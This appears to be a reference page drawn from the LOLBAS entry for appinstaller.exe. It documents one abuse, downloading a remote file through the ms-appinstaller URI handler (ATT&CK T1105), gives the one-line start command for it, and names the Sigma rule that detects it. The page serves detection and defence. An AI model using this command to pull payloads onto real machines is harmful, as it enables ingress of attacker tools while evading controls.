Identifier / Programs / Windows
appinstaller.exe
LOLBAS Download 1 ATT&CK technique 1 documented command
How appinstaller.exe is abused
Download T1105 Ingress Tool Transfer
Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for appinstaller.exe.
1 documented command
Download T1105 Ingress Tool Transfer User privileges
AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in INetCache.
start ms-appinstaller://?source={REMOTEURL:.exe}Trips 1 Sigma rule: mediumPotential File Download Via MS-AppInstaller Protocol Handler by Nasreddine Bencherchali (Nextron Systems), Swachchhanda Shrawan Poudel
The command the identifier reads trips a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for appinstaller.exe, by Wade Hickey, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for appinstaller.exe. The identifier reads it with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.